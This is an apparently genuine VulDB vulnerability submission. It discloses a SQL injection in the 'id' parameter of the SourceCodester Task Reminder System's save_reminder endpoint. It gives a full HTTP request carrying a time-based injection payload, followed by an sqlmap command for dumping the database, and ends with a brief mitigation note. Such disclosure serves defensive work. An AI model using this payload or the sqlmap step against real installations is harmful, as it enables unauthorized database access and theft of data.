Submit #228616: SourceCodester Task Management System POST sql injection

I find a SQL injection vulnerability in the SourceCodester Task Management System(https://www.sourcecodester.com/php/16451/task-reminder-system-php-and-mysql-source-code-free-download.html)
This affect the file /php-trs/classes/Master.php?f=save_reminder:

POST /php-trs/classes/Master.php?f=save_reminder HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 103
Origin: http://localhost
Connection: close
Referer: http://localhost/php-trs/admin/?page=reminders/manage_reminder&id=6
Cookie: ajs_anonymous_id=b6bc95f0-ab68-41ad-85fc-5a73232f365a; ajs_user_id=048546bfc1e19205a55a5993547bc9308acf5a9c; PHPSESSID=v50trgss5tkq84rfr78hjj7g1h
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

user_id=1&title=1&description=1&remind_from=0011-01-01&remind_to=0222-01-01&status=1&id=1'and sleep(4)#

Then you can save the request package as 1.txt, and then use sqlmap to inject it. The command is "sqlmap -r 1.txt --data="id=1", and then you can successfully drag the library
The vulnerability in the code "UPDATE `reminder_list` set {data} where id = '{id}'" arises from not implementing proper filtering on the controllable parameter id. This lack of filtering makes the code susceptible to SQL injection attacks. To prevent such attacks, it is recommended to use mysqli_real_escape_string() to protect the id parameter against malicious exploitation. By doing so, the code will be more secure and less prone to SQL injection vulnerabilities.

• Quelle: ⚠️ https://www.sourcecodester.com/php/16451/task-reminder-system-php-and-mysql-source-code-free-download.html
• Benutzer: fushuling (UID 45488)
• Einreichung: 26.10.2023 19:07 (vor 3 Jahren)
• Moderieren: 26.10.2023 20:21 (1 hour later)
• Status: Akzeptiert
• VulDB Eintrag: 243645 [SourceCodester Task Reminder System 1.0 Master.php?f=save_reminder id SQL Injection]
• Punkte: 20